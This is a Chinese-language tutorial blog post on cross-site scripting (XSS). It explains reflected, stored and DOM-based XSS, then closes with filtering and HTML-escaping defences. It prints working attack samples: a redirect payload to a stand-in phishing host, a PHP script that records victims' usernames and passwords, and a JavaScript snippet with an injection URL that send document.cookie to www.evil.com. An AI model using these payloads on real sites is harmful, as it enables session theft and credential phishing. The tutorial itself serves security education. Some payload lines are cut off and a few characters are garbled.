【東網技術大咖帶您走進XSS】XSS跨站腳本攻擊原理及防護
發布時間： 2017-02-24 16:54:31
跨站腳本攻擊(Cross Site Scripting)，為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆，故將跨站腳本攻擊縮寫為XSS?？缯灸_本攻擊（XSS）指利用網站漏洞從用戶那里惡意盜取信息?？缯灸_本攻擊是最常見的web應用程序安全漏洞之一，在2013年度OWASP top 10中排行第三。
XSS屬于被動式的且用于客戶端的攻擊方式，所以容易被忽略其危害性。其原理是攻擊者向有XSS漏洞的網站中輸入(傳入)惡意的HTML代碼，通常是javascript編寫的惡意代碼。當用戶瀏覽該網站時，這段HTML代碼會自動執行，從而達到攻擊的目的。如，盜取用戶Cookie、破壞頁面結構、重定向到其它網站等。常見存在的場景如搜索框、輸入框（用戶名密碼輸入錯誤后，頁面上會把用戶名顯示）等。
舉一個簡單的XSS漏洞例子，通過XSS漏洞構造惡意url盜取他人的cookie。a網站（192.168.1.1460:8000/admin/login.php）存在XSS漏洞:
構造惡意url：
瀏覽該惡意鏈接就會去執行語句，（http://192.168.1.147/xsstest/SAVE.php該地址下的SAVE.php是攻擊者搭建的存入用戶名密碼的頁面），當用戶在該頁面下提交用戶名密碼后，其實是在SAVE.php中提交密碼。
在192.168.1.147服務器上就保存有用戶名密碼，如下圖所示，這就是XSS攻擊。
XSS攻擊主要被分成了三類，分別是反射型、存儲型和DOM型。
反射型XSS，通常也被稱為非持久性XSS，是當前最容易出現的一種XSS漏洞。攻擊者編寫的惡意代碼插入URL中，當用戶訪問這個帶有XSS代碼的URL請求時，服務器端接收用戶數據后處理，然后將帶有XSS代碼的數據發送到瀏覽器，瀏覽器會解析并執行XSS代碼，最終造成XSS漏洞。由于這個過程就像一次反射，所以被稱為反射型XSS。
存儲型XSS，通常也被稱為持久性XSS，是最危險的一種跨站腳本。只要是web應用中允許用戶存儲數據的，都有可能出現存儲型XSS漏洞。當攻擊者在某個頁面提交了一段惡意代碼，被服務器接收并存儲，當攻擊者再一次訪問這個頁面時，這段XSS代碼程序讀出來響應給瀏覽器，就會造成XSS跨站攻擊，這就是存儲型XSS。
DOM型 XSS是特殊的跨站，將用戶可控數據通過JavaScript和DOM技術輸出到HTML中，利用方式通常與反射型XSS類似?？蛻舳说哪_本程序可以通過DOM動態地檢查和修改頁面內容，它不依賴于提交數據到服務器端，而從客戶端獲得DOM中的數據在本地執行，如果DOM中的數據沒有經過嚴格確認，就會產生DOM型 XSS漏洞。
本期我們主要來介紹下反射型XSS。
反射型XSS攻擊的常見思路：
接下來，我們介紹幾種比較常見的XSS攻擊。
第一種，攻擊者常常利用XSS漏洞進行釣魚攻擊。
（1）XSS重定向釣魚，這種釣魚方式是把當前頁面重定向到一個釣魚網站上。假如www.bug.com為漏洞網站，網站www.evil.com為一個完全仿冒www.bug.com的網站，攻擊者利用XSS漏洞將訪問的用戶跳轉到冒牌的網站，從而進行釣魚等詐騙活動。
假設www.bug.com上有一處XSS：
http://www.bug.com/index.php?search=【Expliot】
那么，Exploit如下：
http://www.bug.com/index.php?search='><script>document.location.href="http://www.evil.com"</script>
這樣便會讓用戶從當前訪問的網站跳轉到一個邪惡的釣魚網站。
（2）XSS 跨框架釣魚，這種方式是通過在HTML下的
這樣便會使得邪惡的頁面覆蓋在正常的頁面上，顯示的url還是正常的url，從而進行釣魚等詐騙活動。
（3）修改鏈接屬性攻擊，這是利用XSS漏洞，將正常頁面中的某個鏈接修改成邪惡的網站鏈接，當用戶點擊的時候，就會跳轉到該邪惡的頁面。
假設www.bug.com上有一處XSS：
http://www.bug.com/index.php?search=【Expliot】
那么，Exploit如下：
http://www.bug.com/index.php?search='>
這樣一來，當用戶點擊了被修改的鏈接之后，就會跳轉到該邪惡的頁面，進行詐騙等行為。
（4）修改表單提交對象，最常見的就是在用戶的登錄頁面，攻擊者修改了用戶數據提交的對象，當用戶點擊登陸時，用戶的賬戶密碼等信息就會發送到攻擊者設置的對象那邊。
攻擊者精心編寫了一個在用戶登陸后獲取用戶名和密碼的腳本SAVE.php
header("Content-type:text/html;charset=gb2312");
?>
$myfile = fopen("cookies.txt", "a") or die("Unable to open file!");
$username =$_REQUEST["username"];
$password =$_REQUEST["password"];
fwrite($myfile, "用戶名：".$username);
fwrite($myfile, "\r\n");
fwrite($myfile, "密碼：".$password);
fwrite($myfile, "\r\n");
fclose($myfile);
?>
假設www.bug.com上有一處XSS：
http://www.bug.com/index.php?search=【Expliot】
那么，Exploit如下：
這樣一來，當用戶點擊登陸時，用戶的賬戶密碼等信息就會發送到攻擊者設置的對象那邊。
第二種，利用XSS漏洞盜取cookie。
攻擊者精心編寫了一個盜取cookie的腳本SAVE.php，和用來請求該腳本的steal.js文件
function loadXMLDoc()
{
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","http://www.evil.com/SAVE.PHP",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("T1="+document.cookie);
}
loadXMLDoc();
假設www.bug.com上有一處XSS：
http://www.bug.com/index.php?search=【Expliot】
那么，Exploit如下：
http://www.bug.com/index.php?search='><script src="http://www.evil.com/steal.js">
這樣一來，當用戶訪問時，用戶的cookie信息就會自動發送到攻擊者的手里。
從以上敘述可以得出結論，XSS跨站漏洞最終形成的原因是沒有對輸入輸出進行嚴格的過濾，使得攻擊者可以在頁面執行javascript等客戶端腳本。這也就意味著只要將敏感的字符過濾掉，就可以實現對XSS跨站漏洞的修補。以下介紹兩種修補方案。
方案一：對特殊字符進行過濾
在HTML中，<、>、"、’&都比較有特殊的意義，因為HTML的標簽、屬性就是由這幾個符號組成的，如果直接輸出這幾個特殊字符，就極有可能破壞整個HTML文檔的結構。所以，一般情況下，XSS將這些進行過濾。
方案二：對用戶可控數據html escape 轉義
如PHP中提供了htmlspecialshar（）、htmlentities（）函數可以把一些預定義的字符轉換為HTML實體。
預定義的字符如下:
&（和號）成為&
" （雙引號）成為"
‘ （單引號）成為'
<（小于）成為<
>（大于）成為>
以上兩個方案可根據具體場景選擇使用。
對于web服務器的所有者來說，雖然最新版的瀏覽器對XSS攻擊進行了過濾能在一定程度上保護用戶不受XSS攻擊，但舊版的瀏覽器上沒有該功能，因此及時發現自身應用存在的XSS漏洞，并修補。避免對用戶造成危害是很有必要的?？偟膩碚f，對于XSS跨站腳本攻擊漏洞，其攻擊手段雖然層出不窮，但是都可以徹底的解決。最重要的是能夠真正掌控 "輸入與輸出"。
閩公網安備 35010202001006號